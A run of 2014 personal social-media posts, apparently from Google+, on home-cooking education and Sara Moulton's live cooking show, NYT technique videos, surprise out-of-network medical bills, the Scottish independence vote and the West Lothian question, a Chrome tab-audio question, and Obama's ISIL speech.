In a comment to my post yesterday (http://goo.gl/AEhNyr) about the great new videos on essential cooking techniques from The New York Times, +Christina Talbott-Clark mentioned a YouTube video where someone is flummoxed by instructions to "cream" butter and sugar¹.

"Creaming" is an interesting example of the sort of basic technique I was talking about yesterday; checking, I see that there aren't any Times videos on creaming—but not any other pastry or baking techniques either, except for pie crust basics, so maybe baking essentials will follow in later videos. (Though I do see there is a mango video, so I didn't need to explain that technique in my post. Oh well.)

I'm looking at my cookbook-shelf (cook-bookshelf? cookbookshelf?) right now, and at a glance I see several books that explain "creaming": Mark Bittman's How to Cook Everything,Jul... more »

In a comment to my post yesterday (http://goo.gl/AEhNyr) about the great new videos on essential cooking techniques from The New York Times, +Christina Talbott-Clark mentioned a YouTube video where someone is flummoxed by instructions to "cream" butter and sugar¹.

"Creaming" is an interesting example of the sort of basic technique I was talking about yesterday; checking, I see that there aren't any Times videos on creaming—but not any other pastry or baking techniques either, except for pie crust basics, so maybe baking essentials will follow in later videos. (Though I do see there is a mango video, so I didn't need to explain that technique in my post. Oh well.)

I'm looking at my cookbook-shelf (cook-bookshelf? cookbookshelf?) right now, and at a glance I see several books that explain "creaming": Mark Bittman's How to Cook Everything, Julia Child's The Way to Cook, Nick Malgieri's How to Bake, Shirley O. Corriher's CookWise, Harold McGee's On Food and Cooking, The America's Test Kitchen Family Cookbook, and probably others. But all of them explain it in the front matter or in a chapter introduction. If you just read a recipe, even from one of these books, when it said "cream the butter with one cup of the sugar", you'd still have no idea.

So I wonder if the problem is no one buys basic cookbooks anymore, they just go to the Internet for individual recipes?

I know my cooking education came almost entirely from two sources: the first, actually reading basics cookbooks (and later, food-science books like Corriher's and McGee's)—not just using them as recipe databases.

The second was watching Sara Moulton's great 1997–2002 Food Network show Cooking Live². Cooking Live was just fantastic for really learning how to really cook, unlike almost every other cooking show on even then³, to say nothing of pretty much all the "cooking" shows on today.

The two reasons most "real" cooking shows (by which I mean shows that are primarily about the process of cooking, rather than being reality or celebrity-vehicle shows with a food hook) fail at imparting basic techniques are editing and preparation: watching someone chop vegetables is boring, so the television chef typically "cooks" from bowls of ingredients already fully prepared. Then, even when the chef does some actual cooking on camera, editing makes it impossible to see how long it takes for the pan to heat up or how long you have to cook one ingredient before adding the next, and it definitely hides any mistakes.

Contrast Cooking Live, which, true to its name, was broadcast live and unedited. Moulton prepared entire meals, usually starting "from scratch" with unprepared ingredients as you'd get them from the market. And she did it on new one-hour episodes each weeknight.

(And, for a year or so, twice a night, as she did a second prime-time episode for the Pacific time zone. I met Sara Moulton a couple years ago at a cooking demonstration at Google's New York office, and we chatted while I cooked a crepe. I asked her about those days, and she told me that she would do the first live show at the Food Network studios in Chelsea Market, rush home a few blocks away to cook and have dinner with her family, and then rush back to the studio for the second live episode. I can't even imagine how she kept that up, night after night.)

Those times when she did have some ingredients already prepared—like when a recipe called for several chopped onions, or when a dish simply couldn't be made in under an hour—there was always an unprepared onion or whatever on the side too. Moulton would go through the process of dicing one to demonstrate, adding it to the pre-prepared ones.

Over the years I must have watched her chop hundreds of onions, peel and mince dozens of heads of garlic, and break down several whole chickens. (The potential boredom was allayed by her taking calls from viewers while she did this sort of grunt-work.) She worked in real time—only unattended steps were "cheated" by, for example, her putting a pan in the oven, then shifting her attention to a previously-cooked one.

I learned so much from watching Sara Moulton really cook from scratch. Not just basic techniques, but tricks like using a bench scraper to transport food from the cutting board, or using flour to clean your hands when they got sticky from handling wet batters or breading. And maybe most importantly, improvisation and recovering from mistakes.

When she made mistakes, she dealt with them—I never saw her do "television magic" by switching to another precooked pan or starting over again with fresh ingredients. Instead, she showed how to work around accidents or surprises. She might mention that something was taking longer than expected, and she'd alter her recipe plan on the fly to accommodate—a potato gratin turned into cheesy mashed potatoes, a fancy fruit dessert became a quick fruit crumble.

I remember once a hollandaise she'd made broke (separated). She took the chance to demonstrate how to rescue broken hollandaise. (Moulton got her start in television working for Julia Child, whose earliest PBS shows were shot live, and Julia Child was famous for her reactions to on-camera flubs.)

On-air, she'd consult with her producers and kitchen assistent, asking if something was available in the off-screen prep kitchen. Sometimes if things were going really quickly, she'd add another side dish to the menu or show a recipe variation. Or if an early recipe step left behind useful stuff, she'd show how to avoid waste—I remember her looking at a bowl of shells left behind from a shrimp recipe and deciding to show how to use them to make a shrimp bisque.

(When I met her, I asked if these "improvisations" were pre-planned. She said no, they really were decisions made on the fly—which was why she had to ask if ingredients and equipment were available.)

I think a show like this couldn't be produced now—certainly not on today's reality-show-obsessed basic cable. It's really a pity; I learned so much about the reality of cooking from Sara Moulton and Cooking Live that no "reality" cooking show today would even try to teach.


¹ For the uninitiated: "creaming" is one of the ways, along with yeast or chemical leavening, foaming (what we do with meringues, whipped cream, or mousse), and steam leavening (as in popovers or choux pastries), whereby the ingredients in baked goods trap air bubbles to make the final product light and airy. Creaming is usually used in denser, batter-like products like cookies, cakes and muffins. To cream, you vigorously beat granulated sugar with soft (not cold and not melted) butter to incorporate air before adding it to the other wet ingredients. It can be done with a stand mixer or manually with a whisk; hand mixers, blenders and food processors usually can't cream unless they have specialized attachments.

² Which, alas, does not appear to be available today for streaming or download in any form.

³ Alton Brown's Good Eats was another one, and probably the better show as television, but it was usually much more tightly focused on the specialized techniques for each episode's subject ingredient. If you watched enough episodes you'd get basic techniques here and there, but most episodes devoted 75% of the airtime to discussion and background, so the actual cooking was too hurried to learn many techniques.___

2014-09-26 16:50:38 (5 comments, 0 reshares, 4 +1s)Open 

Had Andrea Mitchell on in the background, and heard her swap the words "chemical" and "congressional" in a sentence about Obama wanting "a chemical response"  to "congressional attacks" last year in Syria. She caught herself, but turned red, which I understand is a bit of a feat with HD makeup. Oops.

I can see it now: "Newsmax BREAKING: MSNBC admits Obama wanted chemical attacks in Syria"....

Had Andrea Mitchell on in the background, and heard her swap the words "chemical" and "congressional" in a sentence about Obama wanting "a chemical response"  to "congressional attacks" last year in Syria. She caught herself, but turned red, which I understand is a bit of a feat with HD makeup. Oops.

I can see it now: "Newsmax BREAKING: MSNBC admits Obama wanted chemical attacks in Syria"....___

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2014-09-25 19:27:33 (3 comments, 1 reshares, 9 +1s)Open 

Times Cooking Techniques videos: simple, unfussy help for the fledgling cook

The New York Times has just released a new Cooking app¹ and, in conjunction, have posted this great set of a few dozen very short (one-minute or less) videos on basic cooking techniques.

These are the sorts of things that I think of as being "obvious". But I've noticed, when I'm around someone who's an unpracticed or shaky cook, that these basics aren't nearly as obvious as they seem, and they make new cooks nervous.

When I entertain, I often socialize in the kitchen while preparing the food, and when I get an offer to help, I'm often surprised by their not knowing some technique that I had forgotten was something you must learn. (I was utterly astonished when an acquaintance whose home I was visiting a few months back asked me for help, saying she'd... more »

Times Cooking Techniques videos: simple, unfussy help for the fledgling cook

The New York Times has just released a new Cooking app¹ and, in conjunction, have posted this great set of a few dozen very short (one-minute or less) videos on basic cooking techniques.

These are the sorts of things that I think of as being "obvious". But I've noticed, when I'm around someone who's an unpracticed or shaky cook, that these basics aren't nearly as obvious as they seem, and they make new cooks nervous.

When I entertain, I often socialize in the kitchen while preparing the food, and when I get an offer to help, I'm often surprised by their not knowing some technique that I had forgotten was something you must learn. (I was utterly astonished when an acquaintance whose home I was visiting a few months back asked me for help, saying she'd received several mangos as a gift and didn't know what to do with them after her attempt to use a vegetable peeler was fruitless. I'm not sure why I was so surprised; mangos are a one-off in technique² and unless you've dealt with them before, how would you know? But it seems cooking techniques may be one of those things, like swimming or driving, that people who know how can forget that there are people who don't know how.)

One of the big barriers to entry for the new cook is that while new cooks generally rely on recipes, lots of techniques are taken for granted by recipe-writers. I suppose they assume people learn these things as a kid helping their parents cook, but for those who didn't have home training as a kid—which seems to be more and more of us these days—these assumptions can make for frustration in the kitchen.

For instance: the instructions might say, "sauté until softened". But they don't explain in enough detail what, exactly, that means —unless you already know. How do you "sauté", exactly? (You quickly and constantly move uncrowded, generally small things, like vegetable dice, around a skillet in some fat while they cook, either by pushing them around with a wooden spatula or spoon or, if you're fancy, by doing that wrist motion you always see chefs on TV using on the skillet handle.) What stove setting do you sauté at? (It depends on the quantity of food, and you may have to adjust as you go along, but to start, put the cold pan on a medium-high burner and add some fat. Then you wait a bit until the pan is hot enough so that, if you wet your fingers and flick them over the oiled pan, the droplets immediately vaporize; but not so hot that the oil is smoking.) When is the food "softened"? (This doesn't mean mushy, especially if it's an early step in the recipe; rather, it means the point at which the cell walls have begun to break down so that celery, for instance, is no longer rigid and crisp. It's a minute or two after the vegetables become "translucent", another term often used in a sauté recipe instruction.)

And before you even get to the instructions, just the ingredients list can make assumptions that don't apply to the neophyte. "Diced onions, carrots and celery" are a staple of French cooking (called the mirepoix; the Creole equivalent, substituting bell peppers for the carrot, is "the Trinity"), but those three vegetables aren't even slightly shaped alike, and can't be diced in the same way.

This video series is great for presenting these basic techniques that, as a budding home cook, you really must internalize if you ever want to be able to cook efficiently.

I've been cooking for twenty years now, and these techniques were all old hat to me—though I did learn that the way I dice a whole pineapple isn't as efficient as the one demonstrated in the video. (I also learned why my oyster-shucking technique sometimes left bits of shell behind on the oyster; I wasn't using the correct motion with the knife on the hinge.)

I did have one, small, quibble—the video on dicing an onion (make cuts lengthwise, then crosswise) will work fine for small onions, but for larger ones you need to first make one or two slices parallel to the cutting board³. But that's a small beef; overall, it was a perfect quick rundown of the technique for someone who hasn't internalized it.

(Okay, two small quibbles: the video on how to slice a whole avocado was good, but it neglected the bit that's arguably the most important for new cooks: once you've got the pit removed and stuck to your knife, how do you get the pit off without cutting yourself? Grabbing the pit is guaranteed to result in a nasty cut; that thing's slippery and stuck to the knife way tighter than you'd think! The answer is to turn the knife edge away from you, towards the board, and, reaching with your thumb and forefinger around the dull side of the knife, just pinch the edge of the pit so it pops off the blade.)

In the past, for the same purpose as these videos, I've recommended Jacques Pépin's La Technique and La Méthode, translated to English in a single volume, Complete Techniques. This book has a complete breakdown on each basic technique, using photos of Pépin's hands (shot from the cook's perspective, just like the videos). It's still a great book[4] and a welcome addition to any intermediate home cook's bookshelf, but it covers the full array of standard methods in the French culinary tradition, including techniques like larding that are unlikely to be part of the average home cook's repertoire. These new Times videos are much more focused on the really essential basics.

I'd very highly recommend these videos to any less-than-confident cook. And if you're the cook in your family, send the link to your "sous chef" significant other or teenager; they'll be much more effective helpers in the kitchen with these basic techniques under their belt.


¹ iPad only so far, but the website at http://cooking.nytimes.com/ has all the same features on mobile and scales well on tablets. The linked videos are through the regular Times Video site, so you should be able to get to them regardless.

² The technique, in case you don't know it: a mango's cross-section is roughly elliptical. Find the major (longer) axis; this is where the huge flat seed is. Holding the mango up on one pole, cut down with a chef's knife along the seed on both sides to remove the two "cheeks". Taking one, cut a crosshatch grid into the flesh the size of your desired dice, taking care not to cut through the skin. Now turn the cheek inside-out; the grid will pop out and you can easily cut the dice away from the skin. Repeat with the other "cheek". (Sometimes you can cut along the other two sides of the seed to get a little more flesh, sometimes not. If so, just cut the strip of flesh away from the skin and dice it like any vegetable.) If cutting a lot of mangos, wear gloves; the juice is slightly caustic.

³ Or, easier yet if the dice are going into something where visual uniformity isn't important: instead of making the first cuts perpendicular to the cutting board, instead cut radially towards the center, like pie wedges, without quite cutting all the way to the board so the onion stays together. Then cut crosswise as before. This is faster and it doesn't need any horizontal cuts even if the onion is quite large. The dice made with this technique come out roughly the same volume, so they cook fine, but the dice have lots of different shapes, so aren't as visually appealing in recipes where that matters.

[4] I see that Pépin published an update in 2012, Jacques Pépin's New Complete Techniques, but I haven't had a chance to read it.___

2014-09-24 16:41:49 (1 comments, 0 reshares, 1 +1s)Open 

When you use +TripCase for your own trip, it uses your phone to figure out what time it is (which works fine, provided you're already in the time zone your departure or arrival times are given in, which is generally—though not always—the case).

But when you're following someone else's trip, TripCase has no idea what time it is. Well, it does—it gives time zone data in trip information—but it has no idea what the time there is compared to time here. You can figure out it isn't yet time for a flight you know is soon because it doesn't have real-time status info for it until it's in flight, and you can know the flight's over because it has arrival info. But you can't look at someone else's trip and know that it's departing in X hours.

It seems like an obvious feature—though, I know from experience, it's a surprisingly difficult one toget right ... more »

When you use +TripCase for your own trip, it uses your phone to figure out what time it is (which works fine, provided you're already in the time zone your departure or arrival times are given in, which is generally—though not always—the case).

But when you're following someone else's trip, TripCase has no idea what time it is. Well, it does—it gives time zone data in trip information—but it has no idea what the time there is compared to time here. You can figure out it isn't yet time for a flight you know is soon because it doesn't have real-time status info for it until it's in flight, and you can know the flight's over because it has arrival info. But you can't look at someone else's trip and know that it's departing in X hours.

It seems like an obvious feature—though, I know from experience, it's a surprisingly difficult one to get right and it's one that users could be very upset if it got wrong. So I understand why they wouldn't provide a countdown to an event in another time zone when it can't be completely certain what time it is there. Still, it would be nice.___

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2014-09-21 15:36:20 (13 comments, 26 reshares, 37 +1s)Open 

The insanity of surprise out-of-network providers

If you haven't dealt with this it seems fantastical, like The New York Times engaging in tabloid fodder. But this is a real issue I've spent literally hundreds of hours dealing with over the past ten years since my diagnosis. Every single time I've gone in for a procedure, I've gotten at least one unexpected out-of-network bill. Even though I know I must irritate the staff now by refusing to even answer a "Hello" from anyone in a hospital or doctor's office until they tell me if they're in-network or not. And even that doesn't matter; once an anesthesiologist responded that he didn't know if he was in network or not but said my procedure couldn't continue if he didn't install an IV; I got a $13,000 bill from him.

I'm not sure I've ever actually avoided a bill by demanding... more »

The insanity of surprise out-of-network providers

If you haven't dealt with this it seems fantastical, like The New York Times engaging in tabloid fodder. But this is a real issue I've spent literally hundreds of hours dealing with over the past ten years since my diagnosis. Every single time I've gone in for a procedure, I've gotten at least one unexpected out-of-network bill. Even though I know I must irritate the staff now by refusing to even answer a "Hello" from anyone in a hospital or doctor's office until they tell me if they're in-network or not. And even that doesn't matter; once an anesthesiologist responded that he didn't know if he was in network or not but said my procedure couldn't continue if he didn't install an IV; I got a $13,000 bill from him.

I'm not sure I've ever actually avoided a bill by demanding that everyone be in-network, but what else can I do? I give them hell after the fact, and show emails demonstrating I requested in-network services only before the fact (the best documentation I've been able to come up with, since you can't very well get doctors to sign payment waivers for you, even though they expect you to do it for them without question), but it always goes to collections before anyone is willing to actually negotiate.  (Once, I'm told, it got as far as a bench warrant being issued. That was because they never personally served me court papers—they dropped them on my building's front desk, which is apparently sufficient "service" in New York—and I missed a court date I didn't know about.)

At any given time in the past ten years, I've had two or three unpaid medical bills sitting on my credit report. They get removed once I finally settle (usually for ten or twenty cents on the dollar—my rule is that I hold out for paying only what my insurer would have paid them in-network, which I think is quite generous for a service I specifically asked not to receive), but they're a permanent drag on my credit.

I'm frightened to think what might happen if I'm not conscious to insist on in-network services only. (Brought in to hospital unconscious, I mean; I already have dealt with big bills from doctors I never met because they arrived, and left, all while I was anesthetized.)

I was in the emergency room a few days ago and I did my "are you in-network" routine to anyone who spoke to me, despite the fact that I was there for trouble breathing and it was difficult to explain what I wanted. I know I annoyed people and as a result probably received less attentive care. I've just been burned too many times by this, and I'm responding the only way I know how. But I think I may have actually avoided a bill this time; someone came to wheel me to X-ray, I stopped her before she could release the gurney's brake and asked if she was in-network. She went away, and someone I'd already been helped by came and wheeled me to X-ray instead. I wonder how much that hundred-foot trip would have cost me. I'm betting it would have been thousands, not hundreds.

Listen, I'm not a deadbeat; I realized with shock the other day I was a few days late on the Amex bill; it had come due when I was at the hospital and I'd just missed it. I called them sheepishly. They waived the fee because, they said, I hadn't ever before paid anything but in full and on time, every month, in almost twenty years. I don't have a problem paying my debts.

But I simply won't fork over tens of thousands of dollars for a charge that I wasn't notified about ahead of time, for a service I specifically requested I not receive, simply because I received it anyway when I wasn't looking. Imagine going to a restaurant and being charged for dishes you didn't order, but they prepared in the kitchen and brought out and you waved away? They went through the motions, so shouldn't they be paid? That's essentially what's happening here.

Well, except the restaurant somehow has the ability to teleport the food directly into your stomach. I'm not denying I receive some benefit from these services, which is why I'm willing to pay something; quite a lot, in fact, compared to what I'd be paying in-network. If I received a truly monstrous surprise out-of-network bill, though—say over $100K—I'm not sure I'd even be willing to try to negotiate a percentage, since if it were in-network I'd have hit my out-of-pocket maximum. Thank heavens that hasn't happened yet. From articles like these, though, it seems like Russian roulette; as I continue to need care for a chronic condition, it just becomes a matter of time.___

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2014-09-19 19:55:44 (9 comments, 2 reshares, 14 +1s)Open 

What does the Scottish No mean? A primer for Americans

My fellow Americans: if the sum total of what you know about the Scotland independence vote yesterday is a) they voted No, and b) something something turnout high among 16-year-olds voting for the Queen saying "no thanks" carefully, then congratulations—you're doing better than most of our countrymen.

And the No result seems to mean that Americans can safely stop knowing even that much, because now it's all going back to the "normal" pre-referendum status quo, right?

Not so fast. In some ways, a Yes result would have had more clarity. It would have been easier to figure out what's next: writing a constitution, electing leaders, figuring out what to do about currency, trade, immigration, national defense, etc. Not that the answers would have been obvious. But theq... more »

What does the Scottish No mean? A primer for Americans

My fellow Americans: if the sum total of what you know about the Scotland independence vote yesterday is a) they voted No, and b) something something turnout high among 16-year-olds voting for the Queen saying "no thanks" carefully, then congratulations—you're doing better than most of our countrymen.

And the No result seems to mean that Americans can safely stop knowing even that much, because now it's all going back to the "normal" pre-referendum status quo, right?

Not so fast. In some ways, a Yes result would have had more clarity. It would have been easier to figure out what's next: writing a constitution, electing leaders, figuring out what to do about currency, trade, immigration, national defense, etc. Not that the answers would have been obvious. But the questions, at least, would be pretty clear.

With No, what comes next is far murkier. To ensure a No vote, Prime Minister David Cameron made some big promises to Scotland. Fulfilling those promises to Scotland is going to be tough enough, but because of how Mr Cameron went about making them, the fallout from those promises will be much worse.

First, a recent history lesson. From the time the referendum vote was set a year ago, the presumption among the three main UK-wide parties (the Conservatives or "Tories", the Liberal Democrats with whom the Tories are currently ruling in coalition, and, to a somewhat lesser extent, the opposition Labour) was that No would win handily. David Cameron, not just prime minister but also leader of the Tories, was so confident in the result, he went so far as preventing a third option, "No, but more local powers and authority for Scotland" from appearing on the ballot. He thought, by forcing an unequivocal "No" vote without reservations, he could shut down (what he saw as) an insurgent Scottish nationalist movement once and for all—or at least, for the remainder of his government.

But something important happened over an extraordinarily short period. On the first of September, there was shock in London when polls were released showing the Yes vote even and ascendant. Bookmakers never actually gave Yes better (or even the same) odds than No. Still, the swing in the polls was so dramatic, the wild card of an unprecedented turnout so unsettling (two-thirds of the total population of Scotland voted, including newly-enfranchised 16- and 17-year-olds—that's higher than turnout in many places with mandatory voting!), that the Cameron government panicked.

Sorry—I didn't mean "panicked", I meant, the Cameron government reiterated its long-held philosophy on devolution of local powers to Scotland, while firming up some of the concrete details. Cameron's side also started a last-minute fear campaign against Yes aimed at voters sitting on the fence.

Sorry, sorry again! A thousand apologies—I meant, the government highlighted some of the most significant difficulties a Yes vote would present, both in the immediate and longer terms, for Scotland and its people.

To be fair, the content of the fear campaign was relatively red-herring-free. In particular, the comments about the likely damage Yes could do to the Scottish internal economy with regards to banking and currency, and the uncertainty of the oil reserves Yes Scotland's economic plan rested upon, are real issues¹ that deserved, as the queen said, "careful consideration". But even if they were defensible, they were presented in a fear-mongering way.

That's all I'll say on the fear-mongering part, as what's done is done, and with a No vote, it's now moot; aside from the longevity of the North Sea oil, we may never know how correct it was.

What is going to be with us for some time is the fallout from the first part, the government panic. It was far, far too late to put the third "No, but" option back onto the ballot, so Cameron sought its political benefit in an ad-hoc manner: in a matter of days, he promised Scotland— if the vote went No—new "devolutions" of powers, including on important questions of taxation and health care.

But Cameron had a messaging problem. Despite his Scottish surname, he has no real ties there, and he is the leader of a party that has a majority in England, and—through coalition—a majority of the overall UK, but only one UK parliament seat from Scotland (compare that to 39 Labour, 11 Lib Dem, and six Scottish Nationals MP's from Scotland).

Former PM Gordon Brown, who—as both a member of Labour and Scottish by birth—it might be supposed would be better-received in Scotland than Mr Cameron, volunteered—or was recruited—to draft a rough plan for post-referendum constitutional reforms² in Scotland's favor after a No vote, and to spread the word in Scotland about these promises.

Mr Brown used a term that to British ears, I understand, is quite old-fashioned, but one that strikes a certain chord with us Americans: "home rule"³. While he did use this term to include its usage in US law (the current Scottish parliament does not have full autonomy constitutionally; theoretically, the UK parliament or even HM Government could reverse any of its actions), he also used it more expansively to mean that Scotland should rule Scotland on purely Scottish matters, and should not be subservient to Westminster in those matters.

Mr Brown extracted from the government (or was authorized to reveal, depending on how conspiracy-minded you are) a raft of reforms for the UK designed to appeal to Scotland. Some seem pretty insignificant, like giving Scotland greater power to license air rifles[4], but they included some very important matters, like:

• Crafting a formal mission statement for the UK. (Really! The idea is for the UK to have something like the US has in the Declaration of Independence—an inspirational document, without force of law, but meant to transcend law.)

• An amendment to the current devolution law (the Scotland Act 1998 that authorized Scotland's parliament in the first place) to specify that in most matters, the Scottish parliament is in fact autonomous, subject to neither oversight nor reversal by London, and cannot be dissolved or eliminated by London.

• Allowing the Scottish parliament more freedom to levy its own taxes in order to fund social welfare programs more generously than England does. (One of the primary motivations for the referendum was that most of Scotland is to the left of England—as I mentioned earlier with regards to Labour's strong majority in Scotland—and they want to expand safety-net benefit programs.)

• Letting Scotland reduce the share of taxes they pay to support the English versions of devolved programs, like English health care or English schools.

This last one is important because it introduces one of the most significant fallouts of the No vote: the resurgence of the "West Lothian question".

"The West Lothian question" sounds like a riddle in a fantasy book—and it is a kind of riddle, actually. But it's also a political issue first raised in the 1970's but, with the No vote and Mr Cameron's promises, has suddenly been raised to the fore.

In his comments this morning, Mr Cameron said that as devolution is happening for Scotland, it should happen for Wales and Northern Ireland too. No surprise there.

But he also said that the English deserve greater autonomy from the UK for local matters as well. And that's the West Lothian question.

Let me explain. Under the most recent devolution reforms that started in the mid-90's, Scotland has a Scottish parliament, Holyrood, to vote on internal Scottish matters. Wales has a National Assembly to vote on internal Welsh matters. Northern Ireland, too, has a National Assembly to vote on Northern-Ireland-internal matters.

But England has no English parliament or assembly. The UK parliament is charged not only with handling UK-wide matters, but local matters not devolved elsewhere—which includes matters local to England. So under devolution, the English MP's no longer may vote on, say, funding for a new early education program in West Lothian (a Scottish council area near Edinburgh); that would instead be handled by the Scottish parliament. But an MP from West Lothian must vote on a similar education proposal in Sussex (part of England).

Hence "the West Lothian question". There is no English parliament other than the UK parliament. So all matters that have been devolved from the UK to Scotland, Wales, and Northern Ireland are still handled by the full UK parliament, including its Scottish, Welsh, and Northern Irish MP's.

Okay, so why not just create an English parliament or assembly? Or why not just exclude the non-English MP's from English-only decisions? It turns out that the West Lothian question is a very thorny one, for a lot of reasons—which will be the topic of my next post. My next post about Scottish independence, anyway.


¹ And are the reasons I personally hoped the vote would go No—from the perspective of a liberal free-trade New Keynesian like me, Scottish independence would be disastrous macro-economically, as much as I like Yes Scotland's proposed social welfare programs. But I'm not Scottish, so I've kept my mouth shut till now.

² Let's be clear, this doesn't mean passing constitutional amendments like it might in America, because the UK doesn't have a written constitution; the "constitution of the United Kingdom" is the totality of parliamentary law and principles. "Constitutional reform" doesn't (yet) mean drafting a written UK constitution, either. (Though Scotland's being able to draft a written constitution for its newly independent country was one of the prime benefits Yes Scotland held out for a Yes vote.)

Rather, the "constitutional reforms" to which Gordon Brown refers have more to do with laws and agreements that would be passed to change the relationship between HM Government and Scotland. Thus, the word "constitutional" in Westminster parlance can be best glossed from an American standpoint as something like "structural" or "fundamental", with a whiff of "customary" and of "serious".

³ For any Brits who might be reading this for the amusement of watching a waltzing bear, "home rule" in the US is a rather specific term meaning that sub-state jurisdictions—like counties, townships, cities, towns and villages—have the right to pass laws themselves without approval or interference from the state government. It's a particularly fraught term in American history because, after our Civil War, part of Reconstruction was to strip Southern localities of home rule since it was easier for Washington to control eleven former Confederate states' legislatures than thousands of jurisdictions throughout the South.

To this day, six of the former Confederate states either still lack or have major limitations on home rule.

[4] a.k.a., BB guns.___

2014-09-19 04:15:27 (2 comments, 0 reshares, 2 +1s)Open 

And BBC's called it No. #ScotlandDecides  

And BBC's called it No. #ScotlandDecides  ___

posted image

2014-09-19 02:40:21 (17 comments, 1 reshares, 19 +1s)Open 

Wow, that's close.

Wow, that's close.___

2014-09-13 19:12:11 (1 comments, 0 reshares, 5 +1s)Open 

Finding the Chrome tab that just made that noise?

The new¹ Chrome feature to show a speaker icon in tabs currently making noise is very welcome and useful, but lately I've frequently been wanting a slightly different feature: finding what tab just made a noise, but has now stopped.

Some website I perennially have at least one tab open to (a distressingly large list of sites, as it turns out) has started to make little notification sounds I don't recognize. I reckoned I'd eventually figure it out from context—I'd hear the sound just before I'd notice some change that might cause a notification—but so far, no such luck.

Has anyone seen a tool or method (for Chrome on Mac, if it matters) for tracking down sounds after the fact? I thought about trying to figure it out with Dtrace—since Chrome uses separate Unix processes for separate tabs²,"a... more »

Finding the Chrome tab that just made that noise?

The new¹ Chrome feature to show a speaker icon in tabs currently making noise is very welcome and useful, but lately I've frequently been wanting a slightly different feature: finding what tab just made a noise, but has now stopped.

Some website I perennially have at least one tab open to (a distressingly large list of sites, as it turns out) has started to make little notification sounds I don't recognize. I reckoned I'd eventually figure it out from context—I'd hear the sound just before I'd notice some change that might cause a notification—but so far, no such luck.

Has anyone seen a tool or method (for Chrome on Mac, if it matters) for tracking down sounds after the fact? I thought about trying to figure it out with Dtrace—since Chrome uses separate Unix processes for separate tabs², "all" I'd need to do was trace all the Chrome subprocesses until I found one that was making audio calls—but that turned out to be a bit difficult for a Dtrace newbie like me.

¹ Which has actually been around for a couple years, but was enabled by default just a few months ago.

² Up to a ceiling number of processes, at which point it begins bucketing multiple tabs per process; but even when that happens, the number of tabs per process is generally small enough to make it easy to narrow it down.___

2014-09-11 16:44:54 (6 comments, 1 reshares, 9 +1s)Open 

In President Obama's speech last night, he said early on (emphasis mine): "ISIL is not Islamic. No religion condones the killing of innocents, and the vast majority of ISIL’s victims have been Muslim." The emphasized words, I think, merit careful consideration.

I have only a small quibble with that phrase taken literally; no religion condones the murder of innocents. But nearly all do condone the killing of innocents in two specific cases: in war, and by accident.

Remember, "condone" is a word specifically meaning "to permit an immoral or offensive act to go unpunished"; since we usually see it in the negative, as in "we do not condone...", the distinction between condonation and approval can be missed. With that quibble called out, I'm going to proceed from here as if the president had actually said, "no religion condones them... more »

In President Obama's speech last night, he said early on (emphasis mine): "ISIL is not Islamic. No religion condones the killing of innocents, and the vast majority of ISIL’s victims have been Muslim." The emphasized words, I think, merit careful consideration.

I have only a small quibble with that phrase taken literally; no religion condones the murder of innocents. But nearly all do condone the killing of innocents in two specific cases: in war, and by accident.

Remember, "condone" is a word specifically meaning "to permit an immoral or offensive act to go unpunished"; since we usually see it in the negative, as in "we do not condone...", the distinction between condonation and approval can be missed. With that quibble called out, I'm going to proceed from here as if the president had actually said, "no religion condones the murder of innocents", as I suspect that was closer to the meaning intended. 

I think it's pretty clear that ISIL would claim to agree that their religion does not condone the murder of "innocents". Yet the issue, here, as with so many radical or fundamentalist religions, is exactly what their definition of "innocent" is. 

Traditionally¹, Islam considered the treatment of heretics² on the basis of a division into three major categories. The first are "People of the Book" (أهل الكتاب ‎ Ahl al-Kitāb), followers of what has in the 21st century increasingly been known as the "Abrahamic religions" aside from Islam, namely Christians and Jews³. These could roughly be classed as "innocents" under Islamic law. Mainstream Islam, even under various caliphates, has never supported the killing or forced conversion of Christians or Jews merely for being Christian or Jewish.⁴

The other two groups are definitely not considered innocent. Namely, followers of any other religion not yet mentioned ("idolaters", regardless of whether their religion actually involves idolatry) and—most importantly when considering the actions of ISIL—apostates⁵.

Here we hit the crux of the matter: within ISIL's religious doctrine (nominally Sunni of an insanely radical variety), it doesn't view its killings as that of innocents. Yezidis are idolaters. Shiites— all Shiites —are apostates. Even the two American journalists ISIL beheaded were "casualties of war" by ISIL's lights—innocent, perhaps, but not "murdered" any more than someone caught in crossfire.

Why do I think this matters? Surely the vast, vast majority of religious people—even the vast majority of observant Muslims, and including most Sunnis, who comprise at least 75% of the world's Muslims—would agree that ISIL is murdering "innocents", and that their religion condones no such thing. But when we consider forming alliances with other (especially Shiite) Islamic states to fight ISIL, we must keep in mind that in the view of a not-insubstantial segment of Muslims—not just ISIL—we're picking sides in a religious question.

Most Shiite clerics and ayatollahs consider all Sunnis to be apostates in much the same way ISIL considers all Shiites to be. They don't often actually issue fatwas or call for jihad against all Sunnis—the high-profile sheikhs and ayatollahs don't, anyway. But it's somewhat like asking some Christian fundamentalists about Jews: they do generally believe that it is a religious imperative to convert all Jews to Christianity; still, the more mainstream ones don't actually take much action in that direction because they know it would be politically disastrous.

Do I think that allying with Shiites in fighting ISIL would offend the entire Sunni world, all one-billion-plus of them? Of course not. But as a country we tend to be totally ignorant of Islam and especially of the differences between the denominations.

And I think most Americans are totally unaware to what extent our actions thus far have already looked like America picking sides, choosing Shia over Sunni Islam, to many of those "young [Sunni] men who have been radicalized", to use the narrative the media so loves. 
 
It wasn't our motivation in de-Ba'athification to purge virtually all Sunnis from government (and often from their communities as well). But regardless of our motivations, it had that effect, and today the military leaders of ISIL are former high-ranking officers of Saddam Hussein's military.

Forget our longstanding standoff with Iran; no one thinks their Shiism was a factor in our relationship with them—though their theocracy, independent of denomination, certainly was. If we actually put all that history aside and ally with them against ISIL, as some reports have suggested Iran has made overtures towards, I think the appearance of being on the side of Shia Islam against Sunnis is only going to intensify.

(I prefer ISIL over ISIS because I think it better reflects the group's previous name—before they became just "The Islamic State"—in Arabic (والشام‎ ad-Dawlah l-ʾIslāmiyyah fīl-ʿIrāq wash-Shām), which literally does not mean "Islamic State in Iraq and Syria", but "Islamic State in Iraq and al-Sham", al-Sham being a term usually translated into English as the Biblical Levant, an area much larger than just Syria.)

¹ Here I'm writing about my understanding of history from the time of the prophet Muhammed's death in 632 through the First (Rāshidūn) Caliphate in 661, and in the several stable caliphates thereafter.

² I'm using the term heretic here in the colloquial English sense, not a precise mapping to one of the specific Islamic terms for various non-Islamic religious belief or apostasy from those claiming to be Muslims.

